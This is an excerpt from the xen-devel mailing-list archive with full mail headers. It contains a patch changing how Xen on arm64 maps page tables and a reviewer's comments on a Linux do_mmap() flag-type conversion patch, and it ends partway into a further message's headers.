Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493d92b7db3so18554125e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:29:49 -0700 (PDT)
Received: from fedora ([212.231.230.22]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493df702209sm18166295e9.0.2026.07.06.15.29.47
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 15:29:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783376988; x=1783981788; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=FRuZmDHwkDGLc9NxbvfS5kXZcmOh7wMG80qZSsqArm8=;
        b=TAVY6369n8Aw+JtaY9gW9oehteHOTaRGiop+sn0OUnct+CCCEdNi3mjL5YFoW2TBcg
         DamWW/MKgBZHav3JPa1wD5EWtqtbSnu5QJxAv+60VpYoUtKO4vj4CJcsgLMRaA2Hehnv
         I32kvPr3ZVPShekXx57eeKCfDbLy8ogM8Mm9wrwuA6G0ZdHspINTpNCUHewO+vjaITNz
         XMoo5wxSngcMUqqLrGBMeVCIDLpaRQpwijI8KScTUVxmux9AJ3lwxi9MlzL9WlPNyaVv
         qQe4CNVmZBXt2DlqrVxdSqfxjh3xhkho+LRDzjoVDD2jE1cRVCpK66QQpLcFeitNXxzb
         o96Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783376988; x=1783981788;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=FRuZmDHwkDGLc9NxbvfS5kXZcmOh7wMG80qZSsqArm8=;
        b=ZkA4RIzjWE39IDDIaJ3LJYGRgUkaI9ul+1dsIpUg/Jgc0Casfzgk8r9Nw9208rXV4I
         jDqrwJ5JTSTXWhdeJjdQW6DcNVq1hNsHODQIbWbVzhYstXP5IXHwOBqGBT51iwWgzCxe
         dQ8RtZS+zh+LNcw8c+nJbdSqkraNXD3NvYPt0LS+Cc9tSQq98W94quq02amS8NFA8I6C
         lYlHGnj0GfSTXXzhe5lDdivayMx7gEJY4IUVaBGtQT+QQxnt3GvYbRtjk4OSYot2/LUp
         xiIqL00BnECa2+HMcG+cmI5Rv6ahwNR5MMbq/c0t8Ad6DHmG6WEH4DpbZmRP0x2jCtZK
         XGnA==
X-Gm-Message-State: AOJu0YwY8PkNfHk9eRsq1FAdZqmbEiXGyiGSG92mMun8YZsFxUxR+ZN2
	QVaxIEEYOXcxxJrZSvd3thr7+X4lR4B30YWp+T6CNfGtjoTn1v/yqFDBFMk00is7dTA=
X-Gm-Gg: AfdE7cmXLhzuY4iO1c48U0GylRNbkJBTKVw67XimCNCrpBfeiMp73A2vxkmUW0y5wGl
	L6csA32xkMiUKJ4uUXKjPAHXWc62tf94bWEx7KaRXQmcRzkHuNA6xR9yCAAD51zNKAgb+Gs/o+5
	AIk/+I11gIJi8G2k8D2KKTWjZJcOkaVHkhKQI/vkDDTyCV/eTIVMQ2SnbYVFpRKk6sh6DmxqJXd
	l7p+/vjUp5dj0Q5vOFSIWq8lq5H2RpzXRByqyO2O+UVgYoyuFh+ap2Qa3/wrPHvxqvcz8rztdE+
	huqL04+3DhLQLzg849kmp/NZo35MQyL8UF1l5RRR8yowaJk24tt4w8jxsIXHgOuEkE0+R8TfCyw
	cJcQa0W4d3Wqs/ClisorK3V0LczJgUN/rLXRn40H++sFh5ZpnRzdxCfvoLGQKH7GvxsN48VOyHj
	K6tmjcQvELew==
X-Received: by 2002:a05:600c:2d88:b0:492:3773:a230 with SMTP id 5b1f17b1804b1-493df092b86mr16398595e9.27.1783376988486;
        Mon, 06 Jul 2026 15:29:48 -0700 (PDT)
From: mixx86 <gabi.qs.mail@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: sstabellini@kernel.org,
	julien@xen.org,
	bertrand.marquis@arm.com,
	michal.orzel@amd.com,
	mixx86 <gabi.qs.mail@gmail.com>
Subject: [PATCH] xen/arm: mmu: avoid transient mapping of page tables when a directmap is available
Date: Tue,  7 Jul 2026 00:29:34 +0200
Message-ID: <20260706222934.221182-1-gabi.qs.mail@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783376989-0DF23D51-78984FDA/0/0
X-purgate-type: clean
X-purgate-size: 980

---
 xen/arch/arm/mmu/pt.c | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/xen/arch/arm/mmu/pt.c b/xen/arch/arm/mmu/pt.c
index 621b47d..735847e 100644
--- a/xen/arch/arm/mmu/pt.c
+++ b/xen/arch/arm/mmu/pt.c
@@ -42,7 +42,11 @@ static lpae_t *xen_map_table(mfn_t mfn)
     if ( system_state == SYS_STATE_early_boot )
         return pmap_map(mfn);
 
+#if defined(CONFIG_ARM_64)
+    return __va((mfn_to_maddr(mfn)));
+#else
     return map_domain_page(mfn);
+#endif
 }
 
 static void xen_unmap_table(const lpae_t *table)
@@ -52,9 +56,14 @@ static void xen_unmap_table(const lpae_t *table)
      * but the PMAP.
      */
     if ( system_state == SYS_STATE_early_boot )
+    {
         pmap_unmap(table);
-    else
-        unmap_domain_page(table);
+        return;
+    }
+
+#if !defined(CONFIG_ARM_64)
+    unmap_domain_page(table);
+#endif
 }
 
 void dump_pt_walk(paddr_t ttbr, paddr_t addr,
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 02:11:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 02:11:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355885.1610562 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgvHT-0004GS-3T; Tue, 07 Jul 2026 02:11:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355885.1610562; Tue, 07 Jul 2026 02:11:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgvHS-0004GK-Ui; Tue, 07 Jul 2026 02:11:26 +0000
Received: by outflank-mailman (input) for mailman id 1355885;
 Tue, 07 Jul 2026 02:11:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wgvHQ-0004GE-Ki
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 02:11:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgvHP-004NtQ-Rz
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 04:11:23 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4c600c-bab6-0a2a0a5309dd-0a2a450497dc-22
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 04:11:23 +0200
Received: from [40.93.194.33]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4c6049-a01d-0a2a45040019-285dc2212b29-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 04:11:23 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by CY5PR12MB6177.namprd12.prod.outlook.com (2603:10b6:930:26::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Tue, 7 Jul 2026
 02:11:13 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Tue, 7 Jul 2026
 02:11:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wto1kG7x0lEigIZjZ69KzWs14cA7cKiTp/PLlUYQ1SbEn6vaSZvcPqgLnvs8uwlKZqvcSYGJhRpvFX5UHgIHDnncQCsBSQjYfQjJVguZaHEdE87aDk3nE2nrAKQqqQmFO4KsePviBaZmU6V9PPCdkT40T8XYYrNkLiC98LTc7zphww9NBz4YrLfAYTa7HhQQzL8fBCq8QlxsI9VxcTUvEc/OcTzZEBxSAy0VPiXnG8LzWHLkoXoMMmax6mc88IMZTiEzYoACoz/7vrJL1B0RBw811K1HfmjUGgn5MKC874AbjePd3kq5OoOMXCK6Er0CbfeE2RY8JSZsAPkEWp1dFQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OZWTKtclRrOfAi6ihxJKjALnLRbRSlyjEScPsGFqTuY=;
 b=rOp17A2cjBZEQEXbDH2sBM6PvUTJtENgAj5XN8/fkoSg6bAFrbdy5Y6OHlZiiwBMYh9GdhXLB+FPEevN0ewpRoWB7XBrtocviJ8FKT5r9QUewzAcHYkasjQpkysBZ5slVb9OMqsGbnYMOtDzj2WjxvpMekP/iX+Ci3Ru0k44y9xq3UUJWANTOB7V/4JZT+OmaSI1vlNApSXNSKaIaw3RDSSQSIILaOYmHbjVl9EnuXNmZaKgMZ1sBdIC5g1mp08ZB+Vr53zB44yzjNwAvwxmmmOTXZv0lp2ATm0cl6pWBfLEbCnLBswhE+tzTPxA3Hu2vkhoAvYfEFQTsMn1hHdC5w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OZWTKtclRrOfAi6ihxJKjALnLRbRSlyjEScPsGFqTuY=;
 b=Rqgyb5dtBICsv78jQL9CwbjetB2CWZIlnhEcFGW1C9li+Ru/Uy+5fcKr6zrgltXGzrsIT9vMr8bMZssBqUgNwQGhb6qwRGbNRJQQtGQJURWS00Y7bBaPCYRCivowXwIJ0y+POE3CPVtBs6JzNlSzoT+z9aUcEJnL3CaluTQeU3AkbAVrJMv1FqmGq1mHhXPUsHPuzFAEflLIqRz9Z/gSfROp3V6fJm7o7ld/RFlNgV1oj7u610vnR1FRoZkoZryJ2/ABNDr0exj258xjZxGp4OD4zM2TVCaeOwUzd/c+FqTBPTHawE3xLuapQa2olUY7dc6YqlmJLzBQA0MO6p5hbg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 06 Jul 2026 22:10:32 -0400
Message-Id: <DJRZ2QCEIVA6.1AZF5S891NKS4@nvidia.com>
Subject: Re: [PATCH 02/13] mm/vma: update do_mmap() to use vma_flags_t
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
In-Reply-To: <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: CH2PR15CA0023.namprd15.prod.outlook.com
 (2603:10b6:610:51::33) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|CY5PR12MB6177:EE_
X-MS-Office365-Filtering-Correlation-Id: a46e7ba9-5394-4512-992e-08dedbcd0520
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|7416014|18002099003|22082099003|56012099006|4143699003|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	2eWtQE73CZSQ5v6QF5lztmsrSjPVumC5SvOZh5US96jgFfWckz/iaPIzlQl0IN4B9SRX7EbdnQoB2ClMvwl3QnklzfP+cGwQ0U2ns95Je2jZD/TuCMCwu5dHfriEqwM+rRiG4co9f5lLSn4hRTkZntECv2ITNa8uwsi1FGDLfLh1NgZDL34zp92+yucm7lzpv7R4c98FmxtXF4I19kqh/5gkPp0amOxupLrfWChopAaqL0WnwPeDgFuz7rp4vVYJaLVCAG/zzlIxASIecZH/ps72iemw8N49bkbCOZOtH7el24e84fYs++uhUvTUqxevuoamYcqyFaoptWPsZ9eHTMpXIXHfHbrbsTynVAdpH/zn72gFl0wtqm4h6bcRq8wDitcVQXoFoO/5ZnyrpwsLFlcQ2dNt30h0ZR6I3FuD1F7wubUbX0C2AmDmHwe8Y50zhllp/1es1GAb770bORFA+5rggFnE+F5ijvSsNz4S1fZ67ntonEVJ8R6IWT7YOBEVAzmpG0n8HWcncN/W4BU9qZgFzJSpmeUmWLfLt18PuVgrLucwmPQqb1nAf0lS76MIGhy3CYNWcJXXK9sSCzWA8+LZmqPmuiC5l8YNyjOf0m48gbj79Ur5Fsmi+Onn4al4JTWG3RoHqS4h+19gFkHjf0A6Bmz0T+OTx8atHnXM2eo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(7416014)(18002099003)(22082099003)(56012099006)(4143699003)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?Q2tKU2lvSDV6bmNzb2V2alBFSURBSVhXcW54RHhWWklmYlFCYTVOZzdHaHpX?=
 =?utf-8?B?K1NWbjNDN1dQRW82Y0ZYUVlTc1huSTA3RnNQMmk4TTJmT1REVzdmcnBqTHo0?=
 =?utf-8?B?MTJzZk10LzdsMlNuMm9oWk5FOFBpWm10dGgxS0dMekZZbnlPUDhwWFFrUzdk?=
 =?utf-8?B?azhPMktCbDhjNDRHWHRx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9lYnFR?=
 =?utf-8?B?OHNBcjVnaUljdzRlYW95a2p0dEp5ajh0d2tLVFExVWtJUDFTZkFGSWxSRWRE?=
 =?utf-8?B?dXlLWVFWYU1IWi9ucEx4bUVMZVJNdFpwbERmOXROWjZWSXVMQnQyNDV4TWZQ?=
 =?utf-8?B?ckQ0ZWY3eGlscFZSSm9lREpZTzJJNExuSnJmNHdNUmhYZGVMbS8rU3FROER0?=
 =?utf-8?B?Rkd3VHhqQW1uWGFtcmZMSjR1M2hyNHl5N0tuWEFyd1Z5NUhZaWpibHhZOXo5?=
 =?utf-8?B?SVArbHRFcnVBVFByVmEzWUZzZW9qaVE3RTIrTTVUTG9rUExlbE5jcE1GS01O?=
 =?utf-8?B?bXdvNnZSWEFlbVVET013VHVyWUFiY1NDUGRRdUtQWVR0OHpPM0ZRK2xIb20x?=
 =?utf-8?Q?JDrw2oFXXOPm0reTxK?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: a46e7ba9-5394-4512-992e-08dedbcd0520
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 02:11:13.5375
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: PkW8PLSCAM9OoBbuQEoPHlbtWH7slCizpMnfj3r3at8+bkAV7ft0tvr+nIf15jXf
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY5PR12MB6177
X-purgate-ID: tlsNG-ebf023/1783390283-AFB231CC-65439BCE/0/0
X-purgate-type: clean
X-purgate-size: 3946

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> The core do_mmap() function accepts a vm_flags_t parameter which it then
> manipulates before passing to mmap_region() to do the heavy lifting of th=
e
> memory mapping.
>
> Update do_mmap() to instead accept a vma_flags_t parameter, and adjust al=
l
> the logic within do_mmap() to manipulate this instead.
>
> This is as part of the ongoing effort to convert VMA flags from a system
> word size to a bitmap type which allows us to unrestrict the number of VM=
A
> flags, as well as gain control over how VMA flag manipulation occurs.
>
> We do not cascade these changes to all functions which accept vm_flags_t,
> but rather use vma_flags_to_legacy() where necessary, specifically
> deferring converting calc_vm_prot_bits(), calc_vm_flag_bits() and
> __get_unmapped_area() to vma_flags_t.
>
> Also utilise the new vma_flags_can_grow() predicate which correctly handl=
es
> the case of architectures without upward growing stacks.
>
> As part of this change, introduce VMA_SHADOW_STACK so we can correctly
> handle the case of the shadow stack not being defined.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  arch/mips/kernel/vdso.c |  4 +--
>  fs/aio.c                |  2 +-
>  include/linux/memfd.h   |  6 ++--
>  include/linux/mm.h      |  6 ++--
>  ipc/shm.c               |  3 +-
>  mm/memfd.c              | 15 ++++-----
>  mm/mmap.c               | 67 ++++++++++++++++++++++++-----------------
>  mm/nommu.c              |  3 +-
>  mm/util.c               | 10 +++---
>  mm/vma.c                |  7 ++---
>  mm/vma.h                |  2 +-
>  11 files changed, 69 insertions(+), 56 deletions(-)
>

<snip>

> =20
> -static int check_write_seal(vm_flags_t *vm_flags_ptr)
> +static int check_write_seal(vma_flags_t *vma_flags_ptr)
>  {
> -	vm_flags_t vm_flags =3D *vm_flags_ptr;
> -	vm_flags_t mask =3D vm_flags & (VM_SHARED | VM_WRITE);
> -
>  	/* If a private mapping then writability is irrelevant. */
> -	if (!(mask & VM_SHARED))
> +	if (!vma_flags_test(vma_flags_ptr, VMA_SHARED_BIT))
>  		return 0;
> =20
>  	/*
>  	 * New PROT_WRITE and MAP_SHARED mmaps are not allowed when
>  	 * write seals are active.
>  	 */
> -	if (mask & VM_WRITE)
> +	if (vma_flags_test(vma_flags_ptr, VMA_WRITE_BIT))
>  		return -EPERM;
> =20
>  	/*
>  	 * This is a read-only mapping, disallow mprotect() from making a
>  	 * write-sealed mapping writable in future.
>  	 */
> -	*vm_flags_ptr &=3D ~VM_MAYWRITE;
> +	vma_flags_clear(vma_flags_ptr, VMA_MAYWRITE_BIT);
> =20
>  	return 0;
>  }

This function alone changed its original behavior, since vm_flags is a
snapshot of *vm_flags_ptr, but after the change this snapshot is gone.
But its only caller memfd_check_seals_mmap() gets vm_flags_ptr from the
input parameter of do_mmap(), so the overall behavior does not change.

<snip>

> +		case MAP_DROPPABLE: {
> +			vma_flags_t droppable =3D VMA_DROPPABLE;
> +
> +			if (vma_flags_empty(&droppable))
>  				return -EOPNOTSUPP;
> +			vma_flags_set_mask(&vma_flags, droppable);
> +
>  			/*
>  			 * A locked or stack area makes no sense to be droppable.
>  			 *
> @@ -515,23 +527,24 @@ unsigned long do_mmap(struct file *file, unsigned l=
ong addr,
>  			 */
>  			if (flags & (MAP_LOCKED | MAP_HUGETLB))
>  			        return -EINVAL;
> -			if (vm_flags & (VM_GROWSDOWN | VM_GROWSUP))
> +			if (vma_flags_can_grow(&vma_flags))
>  			        return -EINVAL;
> =20
> -			vm_flags |=3D VM_DROPPABLE;
> -

Lance pointed out the reordering of setting VMA_DROPPABLE and checking
of can_grow, but these flags are not overlapped and there is no parallel
writer to vma_flags. So it is still no functional change, just not
mechanical changes. :)

Otherwise, LGTM.

Reviewed-by: Zi Yan <ziy@nvidia.com>

--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 02:29:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 02:29:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355900.1610571 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgvYk-0006II-Mu; Tue, 07 Jul 2026 02:29:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355900.1610571; Tue, 07 Jul 2026 02:29:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgvYk-0006IB-K7; Tue, 07 Jul 2026 02:29:18 +0000
Received: by outflank-mailman (input) for mailman id 1355900;
 Tue, 07 Jul 2026 02:29:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wgvYj-0006I5-6S
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 02:29:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgvYi-004Q4m-Je
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 04:29:16 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4c644e-e002-0a2a0a5209dd-0a2a4501b1c2-16
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 04:29:16 +0200
Received: from [40.93.198.23]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4c647a-400f-0a2a45010019-285dc6178ce9-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 04:29:16 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by CY5PR12MB6275.namprd12.prod.outlook.com (2603:10b6:930:20::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Tue, 7 Jul
 2026 02:29:03 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Tue, 7 Jul 2026
 02:29:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
